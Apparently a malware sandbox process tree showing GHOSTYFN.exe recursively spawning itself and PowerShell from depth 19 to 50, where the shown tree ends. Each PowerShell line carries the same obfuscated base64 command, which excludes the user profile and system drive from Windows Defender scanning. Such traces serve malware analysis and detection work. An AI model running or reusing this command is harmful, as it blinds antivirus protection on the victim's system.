        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        19⤵
        
        PID:5800
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        19⤵
        
        PID:5968
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        20⤵
        
        PID:5460
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        20⤵
        
        PID:5432
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        21⤵
        
        PID:5492
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        21⤵
        
        PID:5348
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        22⤵
        
        PID:5488
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        22⤵
        
        PID:1936
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        23⤵
        
        PID:3592
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        23⤵
        
        PID:5348
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        24⤵
        
        PID:6228
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        24⤵
        
        PID:6332
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        25⤵
        
        PID:6568
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        25⤵
        
        PID:6616
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        26⤵
        
        PID:6796
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        26⤵
        
        PID:6868
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        27⤵
        
        PID:7096
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        27⤵
        
        PID:7144
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        28⤵
        
        PID:1936
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        28⤵
        
        PID:6460
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        29⤵
        
        PID:6628
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        29⤵
        
        PID:6624
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        30⤵
        
        PID:6200
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        30⤵
        
        PID:2732
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        31⤵
        
        PID:6256
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        31⤵
        
        PID:6984
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        32⤵
        
        PID:7252
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        32⤵
        
        PID:7284
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        33⤵
        
        PID:7520
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        33⤵
        
        PID:7556
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        34⤵
        
        PID:7868
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        34⤵
        
        PID:7904
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        35⤵
        
        PID:8164
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        35⤵
        
        PID:6396
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        36⤵
        
        PID:7600
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        36⤵
        
        PID:7420
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        37⤵
        
        PID:7424
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        37⤵
        
        PID:8108
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        38⤵
        
        PID:6728
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        38⤵
        
        PID:7364
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        39⤵
        
        PID:6988
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        39⤵
        
        PID:4436
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        40⤵
        
        PID:7356
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        40⤵
        
        PID:5396
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        41⤵
        
        PID:8244
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        41⤵
        
        PID:8320
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        42⤵
        
        PID:8504
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        42⤵
        
        PID:8532
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        43⤵
        
        PID:8768
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        43⤵
        
        PID:8820
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        44⤵
        
        PID:9020
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        44⤵
        
        PID:9068
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        45⤵
        
        PID:2688
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        45⤵
        
        PID:8196
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        46⤵
        
        PID:5152
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        46⤵
        
        PID:4832
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        47⤵
        
        PID:8820
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        47⤵
        
        PID:8868
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        48⤵
        
        PID:8196
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        48⤵
        
        PID:7904
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        49⤵
        
        PID:8844
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        49⤵
        
        PID:7712
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        50⤵
        
        PID:9100
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        50⤵
        
        PID:6248
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
